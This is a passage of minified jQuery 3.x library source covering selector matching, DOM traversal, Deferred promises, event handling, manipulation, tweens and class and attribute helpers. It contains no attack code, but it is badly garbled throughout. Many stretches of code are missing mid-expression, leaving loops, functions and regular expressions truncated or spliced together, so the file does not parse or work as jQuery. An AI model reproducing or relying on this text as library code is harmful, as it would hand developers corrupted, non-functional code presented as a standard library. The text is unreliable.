").indexOf(c)>-1:"|="===b&&(e===c||e.slice(0,c.length+1)===c+"-"))}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h,t=!1;if(q){if(f){while(p){m=b;while(m=m[p])if(h?m.nodeName.toLowerCase()===r:1===m.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){m=q,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n),t===!1)while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if((h?m.nodeName.toLowerCase()===r:1===m.nodeType)&&++t&&(s&&(l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d||t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||ga.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ia(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=I(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ia(function(a){var b=[],c=[],d=h(a.replace(P,"$1"));return d[u]?ia(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ia(function(a){return function(b){return ga(a,b).length>0}}),contains:ia(function(a){return a=a.replace(_,aa),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ia(function(a){return U.test(a||"")||ga.error("unsupported lang: "+a),a=a.replace(_,aa).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:oa(!1),disabled:oa(!0),checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return X.test(a.nodeName)},input:function(a){return W.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:pa(function(){return[0]}),last:pa(function(a,b){return[b-1]}),eq:pa(function(a,b,c){return[c<0?c+b:c]}),even:pa(function(a,b){for(var c=0;c=0;)a.push(d);return a}),gt:pa(function(a,b,c){for(var d=c<0?c+b:c;++d1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function va(a,b,c){for(var d=0,e=b.length;d-1&&(f[j]=!(g[j]=l))}}else r=wa(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):G.apply(g,r)})}function ya(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=ta(function(a){return a===b},h,!0),l=ta(function(a){return I(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];i1&&ua(m),i>1&&sa(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(P,"$1"),c,i0,e=a.length>0,f=function(f,g,h,i,k){var l,o,q,r=0,s="0",t=f&&[],u=[],v=j,x=f||e&&d.find.TAG("*",k),y=w+=null==v?1:Math.random()||.1,z=x.length;for(k&&(j=g===n||g||k);s!==z&&null!=(l=x[s]);s++){if(e&&l){o=0,g||l.ownerDocument===n||(m(l),h=!p);while(q=a[o++])if(q(l,g||n,h)){i.push(l);break}k&&(w=y)}c&&((l=!q&&l)&&r--,f&&t.push(l))}if(r+=s,c&&s!==r){o=0;while(q=b[o++])q(t,u,g,h);if(f){if(r>0)while(s--)t[s]||u[s]||(u[s]=E.call(i));u=wa(u)}G.apply(i,u),k&&!f&&u.length>0&&r+b.length>1&&ga.uniqueSort(i)}return k&&(w=y,j=v),t};return c?ia(f):f}return h=ga.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=ya(b[c]),f[u]?d.push(f):e.push(f);f=A(a,za(e,d)),f.selector=a}return f},i=ga.select=function(a,b,e,f){var i,j,k,l,m,n="function"==typeof a&&a,o=!f&&g(a=n.selector||a);if(e=e||[],1===o.length){if(j=o[0]=o[0].slice(0),j.length>2&&"ID"===(k=j[0]).type&&c.getById&&9===b.nodeType&&p&&d.relative[j[1].type]){if(b=(d.find.ID(k.matches[0].replace(_,aa),b)||[])[0],!b)return e;n&&(b=b.parentNode),a=a.slice(j.shift().value.length)}i=V.needsContext.test(a)?0:j.length;while(i--){if(k=j[i],d.relative[l=k.type])break;if((m=d.find[l])&&(f=m(k.matches[0].replace(_,aa),$.test(j[0].type)&&qa(b.parentNode)||b))){if(j.splice(i,1),a=f.length&&sa(j),!a)return G.apply(e,f),e;break}}}return(n||h(a,o))(f,b,!p,e,!b||$.test(a)&&qa(b.parentNode)||b),e},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ja(function(a){return 1&a.compareDocumentPosition(n.createElement("fieldset"))}),ja(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||ka("type|href|height|width",function(a,b,c){if(!c)return a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ja(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ka("value",function(a,b,c){if(!c&&"input"===a.nodeName.toLowerCase())return a.defaultValue}),ja(function(a){return null==a.getAttribute("disabled")})||ka(J,function(a,b,c){var d;if(!c)return a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),ga}(a);r.find=x,r.expr=x.selectors,r.expr[":"]=r.expr.pseudos,r.uniqueSort=r.unique=x.uniqueSort,r.text=x.getText,r.isXMLDoc=x.isXML,r.contains=x.contains,r.escapeSelector=x.escape;var y=function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&r(a).is(c))break;d.push(a)}return d},z=function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c},A=r.expr.match.needsContext,B=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i,C=/^.[^:#\[\.,]*$/;function D(a,b,c){if(r.isFunction(b))return r.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return r.grep(a,function(a){return a===b!==c});if("string"==typeof b){if(C.test(b))return r.filter(b,a,c);b=r.filter(b,a)}return r.grep(a,function(a){return i.call(b,a)>-1!==c&&1===a.nodeType})}r.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?r.find.matchesSelector(d,a)?[d]:[]:r.find.matches(a,r.grep(b,function(a){return 1===a.nodeType}))},r.fn.extend({find:function(a){var b,c,d=this.length,e=this;if("string"!=typeof a)return this.pushStack(r(a).filter(function(){for(b=0;b1?r.uniqueSort(c):c},filter:function(a){return this.pushStack(D(this,a||[],!1))},not:function(a){return this.pushStack(D(this,a||[],!0))},is:function(a){return!!D(this,"string"==typeof a&&A.test(a)?r(a):a||[],!1).length}});var E,F=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/,G=r.fn.init=function(a,b,c){var e,f;if(!a)return this;if(c=c||E,"string"==typeof a){if(e="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:F.exec(a),!e||!e[1]&&b)return!b||b.jquery?(b||c).find(a):this.constructor(b).find(a);if(e[1]){if(b=b instanceof r?b[0]:b,r.merge(this,r.parseHTML(e[1],b&&b.nodeType?b.ownerDocument||b:d,!0)),B.test(e[1])&&r.isPlainObject(b))for(e in b)r.isFunction(this[e])?this[e](b[e]):this.attr(e,b[e]);return this}return f=d.getElementById(e[2]),f&&(this[0]=f,this.length=1),this}return a.nodeType?(this[0]=a,this.length=1,this):r.isFunction(a)?void 0!==c.ready?c.ready(a):a(r):r.makeArray(a,this)};G.prototype=r.fn,E=r(d);var H=/^(?:parents|prev(?:Until|All))/,I={children:!0,contents:!0,next:!0,prev:!0};r.fn.extend({has:function(a){var b=r(a,this),c=b.length;return this.filter(function(){for(var a=0;a-1:1===c.nodeType&&r.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?r.uniqueSort(f):f)},index:function(a){return a?"string"==typeof a?i.call(r(a),this[0]):i.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(r.uniqueSort(r.merge(this.get(),r(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function J(a,b){while((a=a[b])&&1!==a.nodeType);return a}r.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return y(a,"parentNode")},parentsUntil:function(a,b,c){return y(a,"parentNode",c)},next:function(a){return J(a,"nextSibling")},prev:function(a){return J(a,"previousSibling")},nextAll:function(a){return y(a,"nextSibling")},prevAll:function(a){return y(a,"previousSibling")},nextUntil:function(a,b,c){return y(a,"nextSibling",c)},prevUntil:function(a,b,c){return y(a,"previousSibling",c)},siblings:function(a){return z((a.parentNode||{}).firstChild,a)},children:function(a){return z(a.firstChild)},contents:function(a){return a.contentDocument||r.merge([],a.childNodes)}},function(a,b){r.fn[a]=function(c,d){var e=r.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=r.filter(d,e)),this.length>1&&(I[a]||r.uniqueSort(e),H.test(a)&&e.reverse()),this.pushStack(e)}});var K=/\S+/g;function L(a){var b={};return r.each(a.match(K)||[],function(a,c){b[c]=!0}),b}r.Callbacks=function(a){a="string"==typeof a?L(a):r.extend({},a);var b,c,d,e,f=[],g=[],h=-1,i=function(){for(e=a.once,d=b=!0;g.length;h=-1){c=g.shift();while(++h-1)f.splice(c,1),c<=h&&h--}),this},has:function(a){return a?r.inArray(a,f)>-1:f.length>0},empty:function(){return f&&(f=[]),this},disable:function(){return e=g=[],f=c="",this},disabled:function(){return!f},lock:function(){return e=g=[],c||b||(f=c=""),this},locked:function(){return!!e},fireWith:function(a,c){return e||(c=c||[],c=[a,c.slice?c.slice():c],g.push(c),b||i()),this},fire:function(){return j.fireWith(this,arguments),this},fired:function(){return!!d}};return j};function M(a){return a}function N(a){throw a}function O(a,b,c){var d;try{a&&r.isFunction(d=a.promise)?d.call(a).done(b).fail(c):a&&r.isFunction(d=a.then)?d.call(a,b,c):b.call(void 0,a)}catch(a){c.call(void 0,a)}}r.extend({Deferred:function(b){var c=[["notify","progress",r.Callbacks("memory"),r.Callbacks("memory"),2],["resolve","done",r.Callbacks("once memory"),r.Callbacks("once memory"),0,"resolved"],["reject","fail",r.Callbacks("once memory"),r.Callbacks("once memory"),1,"rejected"]],d="pending",e={state:function(){return d},always:function(){return f.done(arguments).fail(arguments),this},"catch":function(a){return e.then(null,a)},pipe:function(){var a=arguments;return r.Deferred(function(b){r.each(c,function(c,d){var e=r.isFunction(a[d[4]])&&a[d[4]];f[d[1]](function(){var a=e&&e.apply(this,arguments);a&&r.isFunction(a.promise)?a.promise().progress(b.notify).done(b.resolve).fail(b.reject):b[d[0]+"With"](this,e?[a]:arguments)})}),a=null}).promise()},then:function(b,d,e){var f=0;function g(b,c,d,e){return function(){var h=this,i=arguments,j=function(){var a,j;if(!(b=f&&(d!==N&&(h=void 0,i=[a]),c.rejectWith(h,i))}};b?k():(r.Deferred.getStackHook&&(k.stackTrace=r.Deferred.getStackHook()),a.setTimeout(k))}}return r.Deferred(function(a){c[0][3].add(g(0,a,r.isFunction(e)?e:M,a.notifyWith)),c[1][3].add(g(0,a,r.isFunction(b)?b:M)),c[2][3].add(g(0,a,r.isFunction(d)?d:N))}).promise()},promise:function(a){return null!=a?r.extend(a,e):e}},f={};return r.each(c,function(a,b){var g=b[2],h=b[5];e[b[1]]=g.add,h&&g.add(function(){d=h},c[3-a][2].disable,c[0][2].lock),g.add(b[3].fire),f[b[0]]=function(){return f[b[0]+"With"](this===f?void 0:this,arguments),this},f[b[0]+"With"]=g.fireWith}),e.promise(f),b&&b.call(f,f),f},when:function(a){var b=arguments.length,c=b,d=Array(c),e=f.call(arguments),g=r.Deferred(),h=function(a){return function(c){d[a]=this,e[a]=arguments.length>1?f.call(arguments):c,--b||g.resolveWith(d,e)}};if(b<=1&&(O(a,g.done(h(c)).resolve,g.reject),"pending"===g.state()||r.isFunction(e[c]&&e[c].then)))return g.then();while(c--)O(e[c],h(c),g.reject);return g.promise()}});var P=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;r.Deferred.exceptionHook=function(b,c){a.console&&a.console.warn&&b&&P.test(b.name)&&a.console.warn("jQuery.Deferred exception: "+b.message,b.stack,c)},r.readyException=function(b){a.setTimeout(function(){throw b})};var Q=r.Deferred();r.fn.ready=function(a){return Q.then(a)["catch"](function(a){r.readyException(a)}),this},r.extend({isReady:!1,readyWait:1,holdReady:function(a){a?r.readyWait++:r.ready(!0)},ready:function(a){(a===!0?--r.readyWait:r.isReady)||(r.isReady=!0,a!==!0&&--r.readyWait>0||Q.resolveWith(d,[r]))}}),r.ready.then=Q.then;function R(){d.removeEventListener("DOMContentLoaded",R),a.removeEventListener("load",R),r.ready()}"complete"===d.readyState||"loading"!==d.readyState&&!d.documentElement.doScroll?a.setTimeout(r.ready):(d.addEventListener("DOMContentLoaded",R),a.addEventListener("load",R));var S=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===r.type(c)){e=!0;for(h in c)S(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0, - r.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(r(a),c)})),b))for(;h1,null,!0)},removeData:function(a){return this.each(function(){W.remove(this,a)})}}),r.extend({queue:function(a,b,c){var d;if(a)return b=(b||"fx")+"queue",d=V.get(a,b),c&&(!d||r.isArray(c)?d=V.access(a,b,r.makeArray(c)):d.push(c)),d||[]},dequeue:function(a,b){b=b||"fx";var c=r.queue(a,b),d=c.length,e=c.shift(),f=r._queueHooks(a,b),g=function(){r.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return V.get(a,c)||V.access(a,c,{empty:r.Callbacks("once memory").add(function(){V.remove(a,[b+"queue",c])})})}}),r.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.length\x20\t\r\n\f]+)/i,ja=/^$|\/(?:java|ecma)script/i,ka={option:[1,""],thead:[1,"","
"],col:[2,"","
"],tr:[2,"","
"],td:[3,"","
"],_default:[0,"",""]};ka.optgroup=ka.option,ka.tbody=ka.tfoot=ka.colgroup=ka.caption=ka.thead,ka.th=ka.td;function la(a,b){var c="undefined"!=typeof a.getElementsByTagName?a.getElementsByTagName(b||"*"):"undefined"!=typeof a.querySelectorAll?a.querySelectorAll(b||"*"):[];return void 0===b||b&&r.nodeName(a,b)?r.merge([a],c):c}function ma(a,b){for(var c=0,d=a.length;c-1)e&&e.push(f);else if(j=r.contains(f.ownerDocument,f),g=la(l.appendChild(f),"script"),j&&ma(g),c){k=0;while(f=g[k++])ja.test(f.type||"")&&c.push(f)}return l}!function(){var a=d.createDocumentFragment(),b=a.appendChild(d.createElement("div")),c=d.createElement("input");c.setAttribute("type","radio"),c.setAttribute("checked","checked"),c.setAttribute("name","t"),b.appendChild(c),o.checkClone=b.cloneNode(!0).cloneNode(!0).lastChild.checked,b.innerHTML="",o.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var pa=d.documentElement,qa=/^key/,ra=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,sa=/^([^.]*)(?:\.(.+)|)/;function ta(){return!0}function ua(){return!1}function va(){try{return d.activeElement}catch(a){}}function wa(a,b,c,d,e,f){var g,h;if("object"==typeof b){"string"!=typeof c&&(d=d||c,c=void 0);for(h in b)wa(a,h,c,d,b[h],f);return a}if(null==d&&null==e?(e=c,d=c=void 0):null==e&&("string"==typeof c?(e=d,d=void 0):(e=d,d=c,c=void 0)),e===!1)e=ua;else if(!e)return a;return 1===f&&(g=e,e=function(a){return r().off(a),g.apply(this,arguments)},e.guid=g.guid||(g.guid=r.guid++)),a.each(function(){r.event.add(this,b,e,d,c)})}r.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=V.get(a);if(q){c.handler&&(f=c,c=f.handler,e=f.selector),e&&r.find.matchesSelector(pa,e),c.guid||(c.guid=r.guid++),(i=q.events)||(i=q.events={}),(g=q.handle)||(g=q.handle=function(b){return"undefined"!=typeof r&&r.event.triggered!==b.type?r.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(K)||[""],j=b.length;while(j--)h=sa.exec(b[j])||[],n=p=h[1],o=(h[2]||"").split(".").sort(),n&&(l=r.event.special[n]||{},n=(e?l.delegateType:l.bindType)||n,l=r.event.special[n]||{},k=r.extend({type:n,origType:p,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&r.expr.match.needsContext.test(e),namespace:o.join(".")},f),(m=i[n])||(m=i[n]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,o,g)!==!1||a.addEventListener&&a.addEventListener(n,g)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),r.event.global[n]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=V.hasData(a)&&V.get(a);if(q&&(i=q.events)){b=(b||"").match(K)||[""],j=b.length;while(j--)if(h=sa.exec(b[j])||[],n=p=h[1],o=(h[2]||"").split(".").sort(),n){l=r.event.special[n]||{},n=(d?l.delegateType:l.bindType)||n,m=i[n]||[],h=h[2]&&new RegExp("(^|\\.)"+o.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&p!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,o,q.handle)!==!1||r.removeEvent(a,n,q.handle),delete i[n])}else for(n in i)r.event.remove(a,n+b[j],c,d,!0);r.isEmptyObject(i)&&V.remove(a,"handle events")}},dispatch:function(a){var b=r.event.fix(a),c,d,e,f,g,h,i=new Array(arguments.length),j=(V.get(this,"events")||{})[b.type]||[],k=r.event.special[b.type]||{};for(i[0]=b,c=1;c-1:r.find(e,this,null,[i]).length),d[e]&&d.push(f);d.length&&g.push({elem:i,handlers:d})}return h\x20\t\r\n\f]*)[^>]*)\/>/gi,ya=/\s*$/g;function Ca(a,b){return r.nodeName(a,"table")&&r.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a:a}function Da(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function Ea(a){var b=Aa.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function Fa(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(V.hasData(a)&&(f=V.access(a),g=V.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;c1&&"string"==typeof q&&!o.checkClone&&za.test(q))return a.each(function(e){var f=a.eq(e);s&&(b[0]=q.call(this,e,f.html())),Ha(f,b,c,d)});if(m&&(e=oa(b,a[0].ownerDocument,!1,a,d),f=e.firstChild,1===e.childNodes.length&&(e=f),f||d)){for(h=r.map(la(e,"script"),Da),i=h.length;l")},clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=r.contains(a.ownerDocument,a);if(!(o.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||r.isXMLDoc(a)))for(g=la(h),f=la(a),d=0,e=f.length;d0&&ma(g,!i&&la(a,"script")),h},cleanData:function(a){for(var b,c,d,e=r.event.special,f=0;void 0!==(c=a[f]);f++)if(T(c)){if(b=c[V.expando]){if(b.events)for(d in b.events)e[d]?r.event.remove(c,d):r.removeEvent(c,d,b.handle);c[V.expando]=void 0}c[W.expando]&&(c[W.expando]=void 0)}}}),r.fn.extend({detach:function(a){return Ia(this,a,!0)},remove:function(a){return Ia(this,a)},text:function(a){return S(this,function(a){return void 0===a?r.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=a)})},null,a,arguments.length)},append:function(){return Ha(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ca(this,a);b.appendChild(a)}})},prepend:function(){return Ha(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ca(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return Ha(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return Ha(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(r.cleanData(la(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null!=a&&a,b=null==b?a:b,this.map(function(){return r.clone(this,a,b)})},html:function(a){return S(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!ya.test(a)&&!ka[(ia.exec(a)||["",""])[1].toLowerCase()]){a=r.htmlPrefilter(a);try{for(;c1)}});function Xa(a,b,c,d,e){return new Xa.prototype.init(a,b,c,d,e)}r.Tween=Xa,Xa.prototype={constructor:Xa,init:function(a,b,c,d,e,f){this.elem=a,this.prop=c,this.easing=e||r.easing._default,this.options=b,this.start=this.now=this.cur(),this.end=d,this.unit=f||(r.cssNumber[c]?"":"px")},cur:function(){var a=Xa.propHooks[this.prop];return a&&a.get?a.get(this):Xa.propHooks._default.get(this)},run:function(a){var b,c=Xa.propHooks[this.prop];return this.options.duration?this.pos=b=r.easing[this.easing](a,this.options.duration*a,0,1,this.options.duration):this.pos=b=a,this.now=(this.end-this.start)*b+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),c&&c.set?c.set(this):Xa.propHooks._default.set(this),this}},Xa.prototype.init.prototype=Xa.prototype,Xa.propHooks={_default:{get:function(a){var b;return 1!==a.elem.nodeType||null!=a.elem[a.prop]&&null==a.elem.style[a.prop]?a.elem[a.prop]:(b=r.css(a.elem,a.prop,""),b&&"auto"!==b?b:0)},set:function(a){r.fx.step[a.prop]?r.fx.step[a.prop](a):1!==a.elem.nodeType||null==a.elem.style[r.cssProps[a.prop]]&&!r.cssHooks[a.prop]?a.elem[a.prop]=a.now:r.style(a.elem,a.prop,a.now+a.unit)}}},Xa.propHooks.scrollTop=Xa.propHooks.scrollLeft={set:function(a){a.elem.nodeType&&a.elem.parentNode&&(a.elem[a.prop]=a.now)}},r.easing={linear:function(a){return a},swing:function(a){return.5-Math.cos(a*Math.PI)/2},_default:"swing"},r.fx=Xa.prototype.init,r.fx.step={};var Ya,Za,$a=/^(?:toggle|show|hide)$/,_a=/queueHooks$/;function ab(){Za&&(a.requestAnimationFrame(ab),r.fx.tick())}function bb(){return a.setTimeout(function(){Ya=void 0}),Ya=r.now()}function cb(a,b){var c,d=0,e={height:a};for(b=b?1:0;d<4;d+=2-b)c=aa[d],e["margin"+c]=e["padding"+c]=a;return b&&(e.opacity=e.width=a),e}function db(a,b,c){for(var d,e=(gb.tweeners[b]||[]).concat(gb.tweeners["*"]),f=0,g=e.length;f1)},removeAttr:function(a){return this.each(function(){r.removeAttr(this,a)})}}),r.extend({attr:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return"undefined"==typeof a.getAttribute?r.prop(a,b,c):(1===f&&r.isXMLDoc(a)||(e=r.attrHooks[b.toLowerCase()]||(r.expr.match.bool.test(b)?hb:void 0)),void 0!==c?null===c?void r.removeAttr(a,b):e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:(a.setAttribute(b,c+""),c):e&&"get"in e&&null!==(d=e.get(a,b))?d:(d=r.find.attr(a,b),null==d?void 0:d))},attrHooks:{type:{set:function(a,b){if(!o.radioValue&&"radio"===b&&r.nodeName(a,"input")){var c=a.value;return a.setAttribute("type",b),c&&(a.value=c),b}}}},removeAttr:function(a,b){var c,d=0,e=b&&b.match(K); - if(e&&1===a.nodeType)while(c=e[d++])a.removeAttribute(c)}}),hb={set:function(a,b,c){return b===!1?r.removeAttr(a,c):a.setAttribute(c,c),c}},r.each(r.expr.match.bool.source.match(/\w+/g),function(a,b){var c=ib[b]||r.find.attr;ib[b]=function(a,b,d){var e,f,g=b.toLowerCase();return d||(f=ib[g],ib[g]=e,e=null!=c(a,b,d)?g:null,ib[g]=f),e}});var jb=/^(?:input|select|textarea|button)$/i,kb=/^(?:a|area)$/i;r.fn.extend({prop:function(a,b){return S(this,r.prop,a,b,arguments.length>1)},removeProp:function(a){return this.each(function(){delete this[r.propFix[a]||a]})}}),r.extend({prop:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return 1===f&&r.isXMLDoc(a)||(b=r.propFix[b]||b,e=r.propHooks[b]),void 0!==c?e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:a[b]=c:e&&"get"in e&&null!==(d=e.get(a,b))?d:a[b]},propHooks:{tabIndex:{get:function(a){var b=r.find.attr(a,"tabindex");return b?parseInt(b,10):jb.test(a.nodeName)||kb.test(a.nodeName)&&a.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),o.optSelected||(r.propHooks.selected={get:function(a){var b=a.parentNode;return b&&b.parentNode&&b.parentNode.selectedIndex,null},set:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex)}}),r.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){r.propFix[this.toLowerCase()]=this});var lb=/[\t\r\n\f]/g;function mb(a){return a.getAttribute&&a.getAttribute("class")||""}r.fn.extend({addClass:function(a){var b,c,d,e,f,g,h,i=0;if(r.isFunction(a))return this.each(function(b){r(this).addClass(a.call(this,b,mb(this)))});if("string"==typeof a&&a){b=a.match(K)||[];while(c=this[i++])if(e=mb(c),d=1===c.nodeType&&(" "+e+" ").replace(lb," ")){g=0;while(f=b[g++])d.indexOf(" "+f+" ")<0&&(d+=f+" ");h=r.trim(d),e!==h&&c.setAttribute("class",h)}}return this},removeClass:function(a){var b,c,d,e,f,g,h,i=0;if(r.isFunction(a))return this.each(function(b){r(this).removeClass(a.call(this,b,mb(this)))});if(!arguments.length)return this.attr("class","");if("string"==typeof a&&a){b=a.match(K)||[];while(c=this[i++])if(e=mb(c),d=1===c.nodeType&&(" "+e+" ").replace(lb," ")){g=0;while(f=b[g++])while(d.indexOf(" "+f+" ")>-1)d=d.replace(" "+f+" "," ");h=r.trim(d),e!==h&&c.setAttribute("class",h)}}return this},toggleClass:function(a,b){var c=typeof a;return"boolean"==typeof b&&"string"===c?b?this.addClass(a):this.removeClass(a):r.isFunction(a)?this.each(function(c){r(this).toggleClass(a.call(this,c,mb(this),b),b)}):this.each(function(){var b,d,e,f;if("string"===c){d=0,e=r(this),f=a.match(K)||[];while(b=f[d++])e.hasClass(b)?e.removeClass(b):e.addClass(b)}else void 0!==a&&"boolean"!==c||(b=mb(this),b&&V.set(this,"__className__",b),this.setAttribute&&this.setAttribute("class",b||a===!1?"":V.get(this,"__className__")||""))})},hasClass:function(a){var b,c,d=0;b=" "+a+" ";while(c=this[d++])if(1===c.nodeType&&(" "+mb(c)+" ").replace(lb," ").indexOf(b)>-1)return!0;return!1}});var nb=/\r/g,ob=/[\x20\t\r\n\f]+/g;r.fn.extend({val:function(a){var b,c,d,e=this[0];{if(arguments.length)return d=r.isFunction(a),this.each(function(c){var e;1===this.nodeType&&(e=d?a.call(this,c,r(this).val()):a,null==e?e="":"number"==typeof e?e+="":r.isArray(e)&&(e=r.map(e,function(a){return null==a?"":a+""})),b=r.valHooks[this.type]||r.valHooks[this.nodeName.toLowerCase()],b&&"set"in b&&void 